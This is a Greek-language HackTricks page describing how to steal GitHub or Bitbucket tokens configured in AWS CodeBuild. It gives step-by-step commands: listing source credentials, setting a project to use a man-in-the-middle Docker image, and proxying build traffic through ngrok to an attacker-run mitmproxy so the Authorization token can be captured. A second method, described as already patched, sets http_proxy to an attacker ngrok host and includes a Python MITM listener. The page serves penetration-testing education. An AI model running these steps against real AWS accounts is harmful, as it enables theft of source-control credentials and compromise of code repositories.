AWS Codebuild - Token Leakage

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Ανάκτηση Διαμορφωμένων Διαπιστευτηρίων Github/Bitbucket

Πρώτα, ελέγξτε εάν υπάρχουν διαμορφωμένα διαπιστευτήρια πηγής που μπορείτε να διαρρεύσετε:

aws codebuild list-source-credentials

Μέσω Docker Image

Εάν διαπιστώσετε ότι η πιστοποίηση για παράδειγμα στο Github έχει οριστεί στο λογαριασμό, μπορείτε να διαρρεύσετε αυτήν την πρόσβαση (GH token ή OAuth token) κάνοντας το Codebuild να χρησιμοποιήσει ένα συγκεκριμένο docker image για να εκτελέσει την κατασκευή του έργου.

Για αυτόν τον σκοπό μπορείτε να δημιουργήσετε ένα νέο έργο Codebuild ή να αλλάξετε το περιβάλλον ενός υπάρχοντος για να ορίσετε την εικόνα Docker.

Η εικόνα Docker που μπορείτε να χρησιμοποιήσετε είναι https://github.com/carlospolop/docker-mitm. Αυτή είναι μια πολύ βασική εικόνα Docker που θα ορίσει τις μεταβλητές περιβάλλοντος https_proxy, http_proxy και SSL_CERT_FILE. Αυτό θα σας επιτρέψει να παρεμβάλετε την πλειονότητα της κίνησης του κεντρικού υπολογιστή που υποδεικνύεται στις μεταβλητές https_proxy και http_proxy και να εμπιστευτείτε το πιστοποιητικό SSL που υποδεικνύεται στη μεταβλητή SSL_CERT_FILE.

  1. Δημιουργία και μεταφόρτωση της δικής σας εικόνας Docker MitM

  • Ακολουθήστε τις οδηγίες του αποθετηρίου για να ορίσετε τη διεύθυνση IP του διακομιστή μεσολάβησης και να ορίσετε το πιστοποιητικό SSL σας και να κατασκευάσετε την εικόνα docker.

  • ΜΗΝ ΟΡΙΣΕΤΕ http_proxy για να μην παρεμβάλλετε αιτήσεις προς το τέλος μεταδεδομένων.

  • Μπορείτε να χρησιμοποιήσετε το ngrok όπως ngrok tcp 4444 για να ορίσετε τον διακομιστή μεσολάβησης στον υπολογιστή σας.

  • Αφού κατασκευάσετε την εικόνα Docker, ανεβάστε την σε ένα δημόσιο αποθετήριο (Dockerhub, ECR...)

  1. Ορισμός του περιβάλλοντος

  • Δημιουργήστε ένα νέο έργο Codebuild ή τροποποιήστε το περιβάλλον ενός υπάρχοντος.

  • Ορίστε το έργο να χρησιμοποιεί την προηγουμένως δημιουργημένη εικόνα Docker

  1. Ορισμός του διακομιστή μεσολάβησης MitM στον υπολογιστή σας

  • Όπως υποδεικνύεται στο αποθετήριο Github, μπορείτε να χρησιμοποιήσετε κάτι όπως:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Η έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν η 9.0.1, αναφέρεται ότι με την έκδοση 10 αυτό μπορεί να μην λειτουργεί.

  1. Εκτέλεση της δημιουργίας και καταγραφή των διαπιστευτηρίων

  • Μπορείτε να δείτε το διακριτικό στην κεφαλίδα Authorization:

Αυτό μπορεί επίσης να γίνει από το aws cli με κάτι παρόμοιο:

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Μέσω πρωτοκόλλου HTTP

Αυτή η ευπάθεια διορθώθηκε από την AWS κάποια στιγμή την εβδομάδα της 20ης Φεβρουαρίου του 2023 (νομίζω την Παρασκευή). Έτσι, ένας επιτιθέμενος δεν μπορεί πλέον να την καταχραστεί :)

Ένας επιτιθέμενος με αυξημένα δικαιώματα σε ένα CodeBuild μπορεί να διαρρεύσει το token του Github/Bitbucket που έχει ρυθμιστεί ή, αν οι άδειες πρόσβασης έχουν ρυθμιστεί μέσω OAuth, το προσωρινό OAuth token που χρησιμοποιείται για την πρόσβαση στον κώδικα.

  • Ένας επιτιθέμενος μπορεί να προσθέσει τις μεταβλητές περιβάλλοντος http_proxy και https_proxy στο έργο CodeBuild που δείχνουν στον υπολογιστή του (για παράδειγμα http://5.tcp.eu.ngrok.io:14972).

  • Στη συνέχεια, αλλάξτε το URL του αποθετηρίου github ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: **http://**github.com/carlospolop-forks/TestActions

  • Στη συνέχεια, εκτελέστε το βασικό παράδειγμα από το https://github.com/synchronizing/mitm στη θύρα που δείχνουν οι μεταβλητές του διακομιστή (http_proxy και https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Τέλος, κάντε κλικ στο Κατασκευή του έργου, οι πιστοποιήσεις θα αποσταλούν σε καθαρό κείμενο (base64) στη θύρα mitm:

Τώρα ένας επιτιθέμενος θα μπορεί να χρησιμοποιήσει το διακριτικό από τον υπολογιστή του, να καταγράψει όλα τα προνόμια που έχει και να τα καταχραστεί ευκολότερα από τη χρήση της υπηρεσίας CodeBuild απευθείας.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated